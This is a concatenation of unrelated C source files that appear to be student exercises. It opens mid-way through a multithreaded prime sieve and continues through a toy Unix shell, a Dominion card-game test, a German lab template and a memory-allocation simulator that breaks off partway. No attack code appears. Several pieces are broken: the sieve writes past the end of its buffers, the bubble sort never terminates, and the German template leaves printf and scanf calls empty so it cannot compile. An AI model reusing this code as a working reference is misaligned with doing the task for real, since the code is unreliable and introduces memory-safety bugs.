bob->start; // Shorthand for start. int b = bob->end; // Shorthand for end. int limit = (int)sqrt(b); // Limit for low primes. /* Standard Sieve & Low Primes */ bool *low_primes = (bool *)malloc(sizeof(bool *) * limit); low_primes[0] = false; // Set first two as false to make things easier. low_primes[1] = false; // Initialize all elements from 2 up to and including the limit as true. for (int i = 2; i <= limit; i++) { low_primes[i] = true; } // Application of standard sieve. for (int i = 0; i < sqrt(limit); i++) { if (low_primes[i]) { for (int j = pow(i,2); j <= limit; j += i) { low_primes[j] = false; } } } /* High Primes */ int high_size = b - a + 1; bool *high_primes = (bool *)malloc(sizeof(bool *) * high_size); // Initialize all to be true. for (int i = 0; i <= high_size; i++) { high_primes[i] = true; } // Using 'p' for this loop so we can use 'i' within it. // Named to match the names in the pseudocode. // Logically, the code follows the algorithm in the document. for (int p = 2; p < limit; p++) { if (low_primes[p]) { int i = ceil((double)a/p) * p - a; if (a <= p) { i += p; } while (i < high_size) { high_primes[i] = false; i += p; } } } /* Check for primes that have at least two '3' digits in them. */ for (int i = 2; i < high_size; i++) { if (high_primes[i]) { if (has_threes(i + a)) { count++; } } } /* Increment the global variable. */ int retval; if ((retval = pthread_mutex_lock(&lock)) != 0) { fprintf(stderr, "Warning: Cannot lock mutex. %s.\n", strerror(retval)); } total_count += count; if ((retval = pthread_mutex_unlock(&lock)) != 0) { fprintf(stderr, "Warning: Cannot unlock mutex. %s.\n", strerror(retval)); } free(low_primes); free(high_primes); pthread_exit(NULL); } int main(int argc, char *argv[]) { if (argc == 1) { fprintf(stderr, "Usage: ./mtsieve -s <starting value> -e <ending value> -t <num threads>\n"); return EXIT_FAILURE; } // Variables to hold string input data. char *start_val; char *end_val; char *num_threads; // Variables to store numerical data from input. int start = 0; int end = 0; int thread_count = 0; // Flags to track options have been given. int s = 0; int e = 0; int t = 0; // Option variables int c; opterr = 0; /** * Error checking is going to be kind of annoying. * Within the getopt loop, we need to check if any argument is not an integer or * if the number is too large (integer overflow) * * Not an integer : "Error: Invalid input '%s' received for parameter '-%c'.\n" * Integer overflow: "Error: Integer overflow for parameter '-%c'.\n" */ while ((c = getopt(argc, argv, "s:e:t:")) != -1) { switch (c) { case 's': s = 1; start_val = optarg; if (!is_integer(start_val)) { fprintf(stderr, "Error: Invalid input '%s' received for parameter '-%c'.\n", start_val, c); return EXIT_FAILURE; } else if (is_overflow(start_val, &start)) { fprintf(stderr, "Error: Integer overflow for parameter '-%c'.\n", c); return EXIT_FAILURE; } break; case 'e': e = 1; end_val = optarg; if (!is_integer(end_val)) { fprintf(stderr, "Error: Invalid input '%s' received for parameter '-%c'.\n", end_val, c); return EXIT_FAILURE; } else if (is_overflow(end_val, &end)) { fprintf(stderr, "Error: Integer overflow for parameter '-%c'.\n", c); return EXIT_FAILURE; } break; case 't': t = 1; num_threads = optarg; if (!is_integer(num_threads)) { fprintf(stderr, "Error: Invalid input '%s' received for parameter '-%c'.\n", num_threads, c); return EXIT_FAILURE; } else if (is_overflow(num_threads, &thread_count)) { fprintf(stderr, "Error: Integer overflow for parameter '-%c'.\n", c); return EXIT_FAILURE; } break; case '?': if (optopt == 'e' || optopt == 's' || optopt == 't') { fprintf(stderr, "Error: Option -%c requires an argument.\n", optopt); } else if (isprint(optopt)) { fprintf(stderr, "Error: Unknown option '-%c'.\n", optopt); } else { fprintf(stderr, "Error: Unknown optiofn character '\\x%x'.\n", optopt); } return EXIT_FAILURE; default: break; } } /** * After processing all arguments in the getopt loop, check conditions: * * 1. "Error: Non-option argument '%s' supplied.\n" * 2. "Error: Required argument <starting value> is missing.\n" * 3. "Error: Starting value must be >= 2.\n" * 4. "Error: Required argument <ending value> is missing.\n" * 5. "Error: Ending value must be >= 2.\n" * 6. "Error: Ending value must be >= starting value.\n" * 7. "Error: Required argument <num threads> is missing.\n" * 8. "Error: Number of threads cannot be less than 1.\n" * 9. "Error: Number of threads cannot exceed twice the number of processors(%d).\n" (man 3 get_nprocs) */ // Case 1 // WTF IT WAS THIS SIMPLE??? optind man... if (optind < argc) { fprintf(stderr, "Error: Non-option argument '%s' supplied.\n", argv[optind]); return EXIT_FAILURE; } // Case 2 & 3. if (!s) { fprintf(stderr, "Error: Required argument <starting value> is missing.\n"); return EXIT_FAILURE; } else if (start < 2) { fprintf(stderr, "Error: Starting value must be >= 2.\n"); return EXIT_FAILURE; } // Case 4, 5, 6 if (!e) { fprintf(stderr, "Error: Required argument <ending value> is missing.\n"); return EXIT_FAILURE; } else if (end < 2) { fprintf(stderr, "Error: Ending value must be >= 2.\n"); return EXIT_FAILURE; } else if (end < start) { fprintf(stderr, "Error: Ending value must be >= starting value.\n"); return EXIT_FAILURE; } // Case 7, 8, 9 int processors = get_nprocs(); if (!t) { fprintf(stderr, "Error: Required argument <num threads> is missing.\n"); return EXIT_FAILURE; } else if (thread_count < 1) { fprintf(stderr, "Error: Number of threads cannot be less than 1.\n"); return EXIT_FAILURE; } else if (thread_count > processors * 2) { fprintf(stderr, "Error: Number of threads cannot exceed twice the number of processors(%d).\n", processors); return EXIT_FAILURE; } /** * Segment the range of values. * * First, compute how many numbers are being tested for primality. If the * number of threads exceeds the count, reduce the number of threads to * match the count. * * Otherwise, take the count and divide it by the number of threads the user requested to create. * Each thread will process at least that many numbers. Take the remainder and distribute it among * all the threads. Unless the thread number divides the count evenly, the later segments will * contain less values. */ int num_tested = end - start + 1; // How many numbers being tested for primality? if (thread_count > num_tested) { thread_count = num_tested; // Reduce no. of threads to match count. } int npt = num_tested / thread_count; // Numbers per thread. int remainder = num_tested % thread_count; /** * TODO: Start the appropriate number of threads and have each run algorithm over * the desired range. * * As each thread finds prime numbers meeting the condition, it will increment the * global variable total_count. Of course, to guarantee that no race conditions occur, * proper use of the mutex must be ensured. */ printf("Finding all prime numbers between %d and %d.\n", start, end); int retval; if ((retval = pthread_mutex_init(&lock, NULL)) != 0) { fprintf(stderr, "Error: Cannot create mutex. %s.\n", strerror(retval)); return EXIT_FAILURE; } pthread_t threads[thread_count]; // Array of threads thread_args targs[thread_count]; // Array of targs // Create the threads int st = start; for (int i = 0; i < thread_count; i++) { if(remainder == 0) { npt--; } remainder--; targs[i].start = st; targs[i].end = st + npt; st += npt + 1; int retval; if ((retval = pthread_create(&threads[i], NULL, sieve, &targs[i])) != 0) { fprintf(stderr, "Error: Cannot create thread %d. %s.\n", i+1, strerror(retval)); return EXIT_FAILURE; } } for (int i = 0; i < thread_count; i++) { if (pthread_join(threads[i], NULL) != 0) { fprintf(stderr, "Warning: Thread %d did not join properly.\n", i+1); } } if ((retval = pthread_mutex_destroy(&lock)) != 0) { fprintf(stderr, "Warning: Cannot destroy mutex. %s.\n", strerror(retval)); } /** * Output printing section * * "Total primes between %d and %d with two or more '3' digits: %d\n" * * where the first %d is the starting value, * the second %d is the ending value, * and the third %d is the count. */ // Grammar check! (thread_count == 1) ? printf("%d segment:\n", thread_count) : printf("%d segments:\n", thread_count); // Display all segments. for (int i = 0; i < thread_count; i++) { printf(" [%d, %d]\n", targs[i].start, targs[i].end); } // Output result, as specified in document. printf("Total primes between %d and %d with two or more '3' digits: %d\n", start, end, total_count); return EXIT_SUCCESS; }
C
#include <stdio.h> #include <stdlib.h> #include <time.h> #define SIZE 10 int main() { int a[SIZE]; for(int i=0;i<SIZE;i++) a[i]=rand(); printf("Unsorted Array\n"); for(int i=0;i<SIZE;i++) printf("%d,",a[i]); int temp; bool swap=true; for(;swap;) { for(int j=0;j<SIZE;j++){ } } }
C
#include <stdio.h> #include <stdlib.h> int main() { char c1,c2; /*(3) int c1,c2; */ c1 = 97; c2 = 98; /*(2) c1 = 197; c2 = 198;*/ printf("c1 = %c,c2 = %c\n",c1,c2); printf("c1 = %d,c2 = %d\n",c1,c2); system("pause"); return 0; }
C
#include "dominion.h" #include <stdio.h> int failed = 0; int myassert(int val,char* msg) { if (val == 0) { printf("FAILURE: %s\n",msg); failed = 1; } } void good_assert() { if (!failed) { printf ("SUCCESS!\n"); } } // tests the shuffle function int main() { struct gameState g,g2; int cards[10] = { estate, duchy, province, copper, silver, gold, adventurer, great_hall, minion, steward }; initializeGame(2, cards, 3, &g); int tester = shuffle(0, &g); myassert(tester == 0, "No P1 shuffle"); tester = shuffle(1, &g); myassert(tester == 0, "No P1 shuffle"); int cards2[1] = {estate}; initializeGame(2, cards2, 3, &g2); tester = shuffle(1, &g2); myassert(tester == -1, "NO SHUFFLE"); good_assert(); return 0; }
C
/* Q5 Accept a numbers from user and reverse it*/ #include <stdio.h> int main() { int a,rev=0,num; printf("Enter the number\n"); scanf_s("%d",&a); while (a>0) { num=a%10; a=a/10; rev=10*rev+num; } printf("%d",rev); getch(); return 0; }
C
#include"wyscanner.h" #include"wyshellfunctions.h" #include <unistd.h> #include <stdlib.h> #include <string.h> #include<stdio.h> #include<sys/wait.h> #include<sys/stat.h> #include<sys/types.h> #include<fcntl.h> /* typedef struct node Node; typedef struct word Word; struct node { struct node *next, *prev; char *command; Word *arg_list; int input, output, error, amp; char *in_file, *out_file, *err_file; }; struct word { struct word *next, *prev; char *string; }; */ int main(int argc, char* argv[]) { Node *head = NULL; Node *current = NULL; char *tokens[]={ "QUOTE_ERROR", "ERROR_CHAR", "SYSTEM_ERROR", "EOL", "REDIR_OUT", "REDIR_IN", "APPEND_OUT", "REDIR_ERR", "APPEND_ERR", "REDIR_ERR_OUT", "SEMICOLON", "PIPE", "AMP", "WORD" }; char msg[1024]; char *rpt; int parseLineInt = 0; int first,end ,outputredir, inputredir, errorredir, amp,amploc, pipe1, pipeloc, lastgo; int fd; while(1) { head = NULL; current = NULL; int i =0; first = 0; end = 0; outputredir = 0; inputredir = 0; errorredir = 0; amp = 0; amploc = 0; pipe1 = 0; pipeloc = 0; lastgo = 0; end = 0; printf("$> "); rpt = fgets(msg,1024,stdin); //Error checking for user input if(rpt == NULL) { if(feof(stdin)) { return 0; } else { perror("fgets from stdin"); return 1; } } //Parse the user input parseLineInt = parse_line(msg); while(parseLineInt != EOL && end != 1){ i++; if(head == NULL) { //head = calloc(1,sizeof(Node)); //head = malloc(sizeof(Node)); current = head; } switch(parseLineInt) { case APPEND_OUT: //If there is no command before anything other then a ; give an error and stop reading if(first == 0) { printf("ERROR NO COMMAND \n"); end = 1; } else if(outputredir != 1 && outputredir != 2){ current->output = 2; outputredir = 1; lastgo = 3; } else { printf("TO MANY REDIR \n"); end = 1; } break; case WORD: if(first == 0) { Node *firsttmp = (Node*)malloc(sizeof(Node)); firsttmp->command = strdup(lexeme); firsttmp->next = NULL; if(head == NULL) { head = firsttmp; current = head; } else { current = head; while(current->next != NULL) { current = current->next; } current->next = firsttmp; current = firsttmp; } first = 1; lastgo = 1; } else if(outputredir == 1) { //current->out_file = lexeme; addOutFile(&current, strdup(lexeme)); outputredir = 2; lastgo = 1; } else if(inputredir == 1) { //current->in_file = lexeme; addInFile(&current, strdup(lexeme)); inputredir = 2; lastgo = 1; } else if(errorredir == 1) { //current->err_file = lexeme; addErrFile(&current, strdup(lexeme)); errorredir = 2; lastgo = 1; } else { addArg(&current->arg_list, strdup(lexeme)); } break; case PIPE: if(first == 0) { printf("ERROR NO COMMAND \n"); end = 1; } else if(inputredir == 0 && outputredir == 0){ current->output = PIPE; //current->next->input = PIPE; //current->output = 1; //current->next->input = 1; inputredir = 2; outputredir = 2; pipe1++; first = 0; lastgo = 2; pipeloc = i; } else { printf("%d", inputredir); printf(" ERROR CANT REDIR WHEN USING PIPES \n"); end = 1; } break; case SEMICOLON: //current->output = 1; first = 0; break; case REDIR_IN: if(first == 0) { printf("ERROR NO COMMAND \n"); end = 1; } else if (inputredir != 1 && inputredir != 2){ current->input = 1; inputredir = 1; lastgo = 3; } else { printf("TO MANY REDIR \n"); end = 1; } break; case REDIR_OUT: if(first == 0) { printf("ERROR NO COMMAND \n"); end = 1; } else if(outputredir != 1 && outputredir != 2){ current->output = 1; outputredir = 1; lastgo = 3; } else { printf("TO MANY REDIR \n"); end = 1; } break; case REDIR_ERR: if(first == 0) { printf("ERROR NO COMMAND \n"); end = 1; } else if(errorredir != 1 && errorredir != 2){ current->error = 1; errorredir = 1; lastgo = 3; } else { printf("TO MANY REDIR \n"); end = 1; } break; case APPEND_ERR: if(first == 0) { printf("ERROR NO COMMAND \n"); end = 1; } else if(errorredir != 1 && errorredir != 2){ current->error = 2; errorredir = 1; lastgo = 3; } else { printf("TO MANY REDIR \n"); end = 1; } break; case AMP: if(first == 0) { printf("ERROR NO COMMAND \n"); end = 1; } else if (amp != 1){ current->amp = 1; lastgo = 4; amploc = i; } break; case SYSTEM_ERROR: perror("system error"); return -1; break; case ERROR_CHAR: printf("%d: %s\t =%d\n",parseLineInt,tokens[parseLineInt%96],error_char); break; case QUOTE_ERROR: printf("%d: %s\t \n",parseLineInt,tokens[parseLineInt%96]); break; default: printf("%d: %s\n",parseLineInt,tokens[parseLineInt%96]); } parseLineInt=parse_line(NULL); } //printArg(current->arg_list); //printCom(current); //If the last thing in the string was a word its fine //If the last thing in the string was a | then return a semantic error if(lastgo == 2) { printf("ERROR: Must have a command after | \n"); } //If the last thing in the string was a redir then return a semantic error else if(lastgo == 3) { printf("ERROR: Must have a filename after a redir / append \n"); } else if(end != 1) { Node *temp = NULL; temp = head; while(temp != NULL) { if(temp->command == NULL) { printf("temp com was NULL"); temp = temp->next; } else { int rtn; int pipefd[2]; Word* p; char **argarr; int arsize; if(temp->arg_list != NULL) { arsize = findarrsize(temp->arg_list); p = temp->arg_list; argarr = calloc(arsize+2,sizeof(char*)); int k = 1; argarr[0] = temp->command; while(p != NULL) { argarr[k] = p->string; k++; p = p->next; } argarr[arsize+1] = NULL; } else { argarr = calloc(2, sizeof(char*)); argarr[0] = temp->command; argarr[1] = NULL; } if(pipe1 > 0) { pipe(pipefd); } int pid = fork(); if(pid == -1) { perror("Bad Fork"); return -1; } else if(pid == 0) { if(pipe1 > 0) { temp = temp->next; if(temp->arg_list != NULL) { printf("arg l \n"); arsize = findarrsize(temp->arg_list); p = temp->arg_list; char **argarr2; argarr2 = calloc(arsize+2,sizeof(char*)); int k = 1; argarr2[0] = temp->command; while(p != NULL) { argarr2[k] = p->string; k++; p = p->next; } argarr2[arsize+1] = NULL; } else { argarr = calloc(2, sizeof(char*)); argarr[0] = temp->command; argarr[1] = NULL; } dup2(pipefd[0], STDIN_FILENO); close(pipefd[0]); close(pipefd[1]); execvp(temp->command, argarr); } else if(temp->output == 1) { fd = open(temp->out_file, O_WRONLY | O_CREAT | O_TRUNC, 00600); dup2(fd, STDOUT_FILENO); close(fd); execvp(temp->command, argarr); } else if(temp->output == 2) { fd = open(temp->out_file, O_WRONLY | O_APPEND, 00600); dup2(fd, STDOUT_FILENO); close(fd); execvp(temp->command, argarr); } else if(temp->error == 1) { fd = open(temp->err_file, O_WRONLY | O_CREAT | O_TRUNC, 00600); dup2(fd, STDERR_FILENO); close(fd); execvp(temp->command, argarr); } else if(temp->error == 2) { fd = open(temp->err_file, O_WRONLY | O_APPEND, 00600); dup2(fd, STDERR_FILENO); close(fd); execvp(temp->command, argarr); } else if(temp->input == 1) { fd = open(temp->in_file, O_RDONLY, 00600); dup2(fd, STDIN_FILENO); close(fd); execvp(temp->command, argarr); } else { execvp(temp->command, argarr); } } else if(lastgo != 4 || current->amp != 1){ if(pipe1 > 0) { pid = fork(); } if(pid == 0) { dup2(pipefd[1], STDOUT_FILENO); close(pipefd[0]); close(pipefd[1]); printf("%s", argarr); printf("\n"); execvp(temp->command, argarr); } else { rtn=waitpid(-1,NULL,WNOHANG); while(rtn > 0) { rtn = waitpid(-1,NULL,WNOHANG); } } } } temp = temp->next; } } } }
C
#include <stdio.h> #include "holberton.h" #include <stdlib.h> /** * main - prints the result of multiplication of 2 numbers *@argc: int *@argv: an array of strings * Return: 0 */ int main(int argc, char *argv[]) { int mul; if (argc == 3) { mul = atoi(argv[1]) * atoi(argv[2]); printf("%d\n", mul); } else { printf("Error\n"); } return (0); }
C
/** * Heimarbeit 05 * * Frage 2,3 * * Ausgangssituation: * * An einem Motorenprfstand soll die Drehmoment-Motorleistung-Drehzahl-Kennlinie ermittelt werden. * Schreiben Sie hierzu ein C-Programm in den folgenden Teilschritten. * * << Motorpruefstand.JPG >> * * Das Programm wird Schritt fr Schritt erstellt. Ihr Code wird in eine im Hintergrund laufende * Main-Funktion eingebettet. * * Folgende Variablen sind bereits initialisiert: * * int i = 0; * int iMerk = 0; * int iEnd = 0; * * Aufgabe (Frage 2): * * Lesen Sie zunchst die Messreihen, bestehend aus Drehzahl, Drehmoment und Leistung in einem * mehrdimensionalem Array mit 3 Zeilen und 6 Spalten ein. Initialisieren Sie hierfr zuvor den * Array fMeasure, welcher maximal 6 Messreihen speichern kann. Informieren Sie den Nutzer, * sollte er eine siebte Messreihe eingeben wollen. Speichern Sie dafr die Anzahl der bereits * eingelesenen Datenstze in iMerk. * * Zum Beispiel: * * +---------+------------------------------------------------------------+ * | Eingabe | Result | * +---------+------------------------------------------------------------+ * | 1587.12 | Bitte die 1te Drehzahl in U/min eingeben: | * | 80.87 | Bitte das 1te Drehmoment in Nm eingeben: | * | 20.123 | Bitte die 1te Leistung in kW eingeben: | * | 0 | Ist ein weiterer Messwert notwendig? ja (1) nein (0) | * +---------+------------------------------------------------------------+ * * * Aufgabe (Frage 3): * * Berechnen Sie nun jeweils das arithmetische Mittel der (hchstens sechs) Messreihen und geben * Sie die Ergebnisse in der geforderten Form aus. * * Folgende Variablen und Arrays wurden zustzlich zu denen in Teilaufgabe 2 bereits initialisiert. * int j = 0; * float fMeasure[3][6]; * float fAverage[3] = {0}; * * Die Werte fr fMeasure sind bereits erfolgreich eingelesen worden. * * Zum Beispiel: * * +----------+------------------------------------------------------------+ * | Eingabe | Result | * +----------+------------------------------------------------------------+ * | 1587.12 | Bitte die 1te Drehzahl in U/min eingeben: | * | 80.87 | Bitte das 1te Drehmoment in Nm eingeben: | * | 20.123 | Bitte die 1te Leistung in kW eingeben: | * | 1 | Ist ein weiterer Messwert notwendig? ja (1) nein (0) | * | 6000.789 | Bitte die 2te Drehzahl in U/min eingeben: | * | 190.488 | Bitte das 2te Drehmoment in Nm eingeben: | * | 320.222 | Bitte die 2te Leistung in kW eingeben: | * | 0 | Ist ein weiterer Messwert notwendig? ja (1) nein (0) | * | | | * | | Die durchschnittliche Drehzahl betraegt: 3793.95 U/min | * | | Das durchschnittliche Drehmoment betraegt: 135.68 Nm | * | | Die durchschnittliche Leistung betraegt: 170.17 kW | * +----------+------------------------------------------------------------+ * * Compile: * gcc -Wall -std=gnu99 -pedantic <quelldatei.c> -lm -o <output.exe> * * -std=c90 -pedantic * -std=c89 -pedantic * -std=c99 -pedantic * -std=gnu99 -pedantic */ //Variablendeklaration //Schleife zur Eingabe der Messwerte //Kontrolle, ob die Obergrenze des Arrays erreicht ist printf("Der maximale Speicherplatz fuer Messergebnisse ist erreicht."); //Benutzereingabe der Messwerte printf("Bitte die te Drehzahl in U/min eingeben:\n", ); scanf(); printf("Bitte das te Drehmoment in Nm eingeben:\n", ); scanf(); printf("Bitte die te Leistung in kW eingeben:\n", ); scanf(); //Nachfragen, ob weitere Drehzahl eingelesen werden soll printf("Ist ein weiterer Messwert notwendig? ja (1) nein (0)\n"); scanf(); //Schleifen zum Berechnen der Mittelwerte //Ausgabe printf("\nDie durchschnittliche Drehzahl betraegt: U/min", ); printf("\nDas durchschnittliche Drehmoment betraegt: Nm", ); printf("\nDie durchschnittliche Leistung betraegt: kW", );
C
#pragma once #include "socket.h" /** @struct _rio_t * @brief This structure is the basic structure of robust I/O. * @var _rio_t::rio_buf * Member 'rio_buf' contains internal buffer. * @var _rio_t::rio_bufptr * Member 'rio_bufptr' contains next unread byte in internal buffer. * @var _rio_t::rio_cnt * Member 'rio_cnt' contains unread bytes in internal buffer. * @var _rio_t::rio_fd * Member 'rio_fd' contains descriptor for this internal buffer. */ typedef struct _rio_t { char rio_buf[MAXLINE]; char *rio_bufptr; ssize_t rio_cnt; int rio_fd; } rio_t; /** * @brief Robustly read n bytes(unbuffered). * * @param fd The first parameter of read. * @param userbuf The buffer for reading. * @param n The number of bytes to be read. * * @return Number of read bytes. */ size_t readn(int fd, void *userbuf, size_t n); /** * @brief Robustly write n bytes(unbuffered). * * @param fd The first parameter of write. * @param usrbuf The buffer for writing. * @param n The number of bytes to be written. * * @return Number of written bytes. */ ssize_t writen(int fd, const void *usrbuf, size_t n); static inline void rio_init(rio_t *rp, int fd) { rp->rio_fd = fd; rp->rio_cnt = 0; rp->rio_bufptr = rp->rio_buf; } /** * @brief Read a line until \n. * * @param rp The rio_t to be read. * @param usrbuf The buffer for reading. * @param maxlen The max length to read. * * @return Number of read bytes. */ ssize_t readline(rio_t *rp, void *usrbuf, size_t maxlen);
C
/* Memory Simulation Program * memSim.c * * Developed by Austen Rozanski * Last modified 12/05/2017 * * View included readme for more details. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> // Used for tokenizing each line of input from input file #define SEPARATORS " \t\n" // Maximum size of the name of the processes int MAX_PROCESS_NAME_SIZE = 16; // Size of the buffers used int BUFFER_SIZE = 1024; int main (int argc, char ** argv) { ////////////////////////////////////////////////// // VARIABLES ////////////////////////////////////////////////// // each line of input will be seperated by spaces and placed into the // arg array char * args[BUFFER_SIZE]; char ** arg; // pointer to the file to open FILE * fp; // size of memory unsigned long sizeOfMemory; // used with next fit algorithm. // Stores the index of the last process inserted. int indexLastInserted = -1; // names of the processes in order char memory[MAX_PROCESS_NAME_SIZE][BUFFER_SIZE]; // position of processes in memory and size of processes // processes[process #][0] = position of process in memory // processes[process #][1] = size of process unsigned long processes[BUFFER_SIZE][2]; // the current number of processes stored in memory int numProcesses = 0; // Algorithm type cooresponds to the type of algorithm to use // 0 => First Fit // 1 => Best Fit // 2 => Next Fit // 3 => Buddy System int algorithmType = 0; // name of the file to read commands from char fileName [BUFFER_SIZE]; ////////////////////////////////////////////// // Preparation for reading input ////////////////////////////////////////////// // List of cmd line arguments: // argv[0] = executable // argv[1] = algorithm type // argv[2] = size of memory // argv[3] = input text file // Check to make sure the number of parameters equals 4 if (argc < 4) { printf("To few cmd line parameters\n"); return 0; } else if (argc >= 5) { printf("To many cmd line parameters\n"); return 0; } // set the algorithmType variable based on value of argv[1] if (strcmp(argv[1], "FIRSTFIT") == 0) { } else if (strcmp(argv[1], "BESTFIT") == 0) { algorithmType = 1; } else if (strcmp(argv[1], "NEXTFIT") == 0) { algorithmType = 2; } else if (strcmp(argv[1], "BUDDY") == 0) { algorithmType = 3; } else { printf("ALGORITHM TYPE NOT VALID.\n"); return 0; } // set the size of memory based on value of argv[2] if (sscanf(argv[2], "%ld", &sizeOfMemory) != 1) { printf("Error setting size of memory\n"); return 1; } sizeOfMemory *= 8; // convert to bits // set the file name based on value of argv[3] strcpy(fileName, argv[3]); // open the file fp = fopen(fileName, "r"); // Check if file failed to open if (fp == NULL) { printf("Error opening file\n"); return 1; } ////////////////////////////////////////// // Read from file until EOF reached ////////////////////////////////////////// while (!feof(fp)) { // create a string to store the next line char line[BUFFER_SIZE]; // set line equal to the next line of input from file fp if (fgets(line, BUFFER_SIZE, fp)) { // tokenize input into arg array. arg = args; *arg++ = strtok(line, SEPARATORS); while ((*arg++ = strtok(NULL, SEPARATORS))); // last entry will be NULL // Determine the command and set the variable below // according to the key below // 0 => REQUEST // 1 => RELEASE // 2 => LIST AVAILABLE // 3 => LIST ASSIGNED // 4 => FIND // 5 => # (Comment) // -1 => error with line int command = -1; // assign the command number using the args from the current // line in the file. if (args[0]) { if (strcmp(args[0], "REQUEST") == 0) { command = 0; } else if (strcmp(args[0], "RELEASE") == 0) { command = 1; } else if (strcmp(args[0], "LIST") == 0) { if (args[1]) { if (strcmp(args[1], "AVAILABLE") == 0) { command = 2; } else if (strcmp(args[1], "ASSIGNED") == 0) { command = 3; } } } else if (strcmp(args[0], "FIND") == 0) { command = 4; } else if (strcmp(args[0], "#") == 0) { command = 5; } } //*********************************************************// ///////////////////////////////////////////////////////////// // COMMANDS ///////////////////////////////////////////////////////////// //*********************************************************// ///////////////////////////////////////////////////////////// // REQUEST COMMAND // args[0] = "REQUEST" // args[1] = processName // args[2] = processSize // // Insert the process in args[1] into the memory arrays using // the algorithm specified. ///////////////////////////////////////////////////////////// if (command == 0) { // variable to store the process' name char processName[MAX_PROCESS_NAME_SIZE]; // variable to store the process' size unsigned long processSize = 0; if (args[1] && args[2]) { // assign processName variable strcpy(processName, args[1]); // assign processSize variable and ensure // that no error occured if ( sscanf(args[2], "%lu", &processSize) == 1) { processSize *= 8; // convert to bits // output command being executed //printf("Request process %s of size %ld bytes\n", processName, processSize/8); ////////////////////////////////////////////////// // FIRST FIT ALGORITHM // // Store the variable in the first available slot // in memory that is large enough to store it. ///////////////////////////////////////////////// if (algorithmType == 0) { // used in loop to point to the next spot in // memory after the previous process unsigned long curLoc = 0; // toggle to 1 if process set during loop below int processAssigned = 0; // loop through all processes until space is found // between them for the new process for (int i = 0; i < numProcesses; i++) { // if there is space for the new process... if (processes[i][0] - curLoc >= processSize) { // make space in the array by moving all // elements up one in the array for (int j = numProcesses; j > i; j--) { strcpy(memory[j], memory[j-1]); processes[j][0] = processes[j-1][0]; processes[j][1] = processes[j-1][1]; } // -Insert process at index i in the memory // array and processes array. // -Store the variable at spot curLoc in // memory.. strcpy(memory[i], processName); processes[i][0] = curLoc; processes[i][1] = processSize; // increment number of processes and // toggle processAssigned to 1 (true) numProcesses++; processAssigned = 1; // output success printf("ALLOCATED %s %lu\n", processName, curLoc); break; } // set curLoc to the next spot in memory after the // current process (process[i]) curLoc = processes[i][0] + processes[i][1]; } // check the end of the memory if process was not assigned // in loop above if (processAssigned == 0) { // if there is room for the process, insert it // at the end of the arrays if (sizeOfMemory - curLoc >= processSize) { strcpy(memory[numProcesses], processName); processes[numProcesses][0] = curLoc; processes[numProcesses][1] = processSize; numProcesses++; // output success printf("ALLOCATED %s %lu\n", processName, curLoc); } else { printf("FAIL REQUEST %s %lu bytes\n", processName, processSize/8); } } }// end of next fit //////////////////////////////////////////////////////// // BEST FIT ALGORITHM // // Store the process in the smallest gap in memory that // can still fit the entire process //////////////////////////////////////////////////////// else if (algorithmType == 1) { // used in loop to point to the next spot in // memory after the previous process unsigned long curLoc = 0; // Store the value of curLoc when it was at the // best index up to that point in the loop unsigned long bestLoc = 0;//-1; // the starting space in memory when the index // was at its best up the that point in the loop unsigned long bestLocMem = 0; // Used to store the optimal index to place the process // at that point in the loop long bestIndex = -1; // test space before and between processes for (int i = 0; i < numProcesses; i++) { // if there is space for the process... if (processes[i][0] - curLoc >= processSize) { // if the amount of space is less than the previous best // place in memory to place the process, update bestLoc, // bestLocMem, and bestIndex to represent this if (bestIndex == -1 || processes[i][0] - curLoc < bestLocMem) { bestLoc = curLoc; bestLocMem = processes[i][0] - curLoc; bestIndex = i; } } // increment curLoc to the end of the current process curLoc = processes[i][0] + processes[i][1]; } // test space after processes if (sizeOfMemory - curLoc >= processSize) { if (bestIndex == -1 || sizeOfMemory - curLoc < bestLocMem) { bestLoc = curLoc; bestLocMem = sizeOfMemory - curLoc; bestIndex = numProcesses; } } // insert the process if space was found if (bestIndex != -1) { // make space for the new process by incrementing all // values after it in the array by 1 index for (int i = numProcesses; i > bestIndex; i--) { strcpy(memory[i], memory[i-1]); processes[i][0] = processes[i-1][0]; processes[i][1] = processes[i-1][1]; } // copy the new process into the arrays strcpy(memory[bestIndex], processName); processes[bestIndex][0] = bestLoc; processes[bestIndex][1] = processSize; // increment the number of processes numProcesses++; // Output success printf("ALLOCATED %s %lu\n", processName, bestLoc); } else { printf("FAIL REQUEST %s %lu bytes\n", processName, processSize/8); } }// end of best fit ///////////////////////////////////////////////////// // NEXT FIT ALGORITHMt // // Similar to the first fit algorithm except the // loop starts looking after the last process placed ///////////////////////////////////////////////////// else if (algorithmType == 2) { // if there are currently no processes, insert the process // at the beginning of the memory arrays if there is enough space. if (numProcesses == 0) { if (sizeOfMemory >= processSize) { strcpy(memory[0], processName); processes[0][0] = 0; processes[0][1] = processSize; numProcesses++; indexLastInserted = 0; printf("ALLOCATED %s %lu\n", processName, 0); } else { printf("FAIL REQUEST %s %lu bytes\n", processName, processSize/8); } } // if there are currently processes in memory... else { // set curLoc to the location of the end of the last // process inserted unsigned long curLoc = processes[indexLastInserted][0] + processes[indexLastInserted][1]; // toggle to 1 if process assigned int processAssigned = 0; ///////////////////////////////////////////////// // loop from last index inserted to end of memory ///////////////////////////////////////////////// for (int i = indexLastInserted+1; i < numProcesses; i++) { // if there is room for process... if (processes[i][0] - curLoc >= processSize) { // make room in array for new process by // incrementing all indexes of other // processes after new process by 1 for (int j = numProcesses; j > i; j--) { strcpy(memory[j], memory[j-1]); processes[j][0] = processes[j-1][0]; processes[j][1] = processes[j-1][1]; } // insert the new process in memory arrays strcpy(memory[i], processName); processes[i][0] = curLoc; processes[i][1] = processSize; // increment number of processes numProcesses++; // toggle processAssigned to 1 processAssigned = 1; // update the value of the last inserted index indexLastInserted = i; // output success printf("ALLOCATED %s %lu\n", processName, curLoc); break; } // Update the curLoc variable curLoc = processes[i][0] + processes[i][1]; } // end of loop from last index to end of memory loop /////////////////////////////// // Check space after processes /////////////////////////////// if (processAssigned == 0) { // if there is room for the process, insert it // at the end of the arrays if (sizeOfMemory - curLoc >= processSize) { strcpy(memory[numProcesses], processName); processes[numProcesses][0] = curLoc; processes[numProcesses][1] = processSize; // update the value of the last inserted index indexLastInserted = numProcesses; // increment the number of processes numProcesses++; // toggle the processAssigned to 1 processAssigned = 1; // output success printf("ALLOCATED %s %lu\n", processName, curLoc); } } /////////////////////////////////////////////////////////////// // Check from beginning of memory to the index last inserted at /////////////////////////////////////////////////////////////// if (processAssigned == 0) 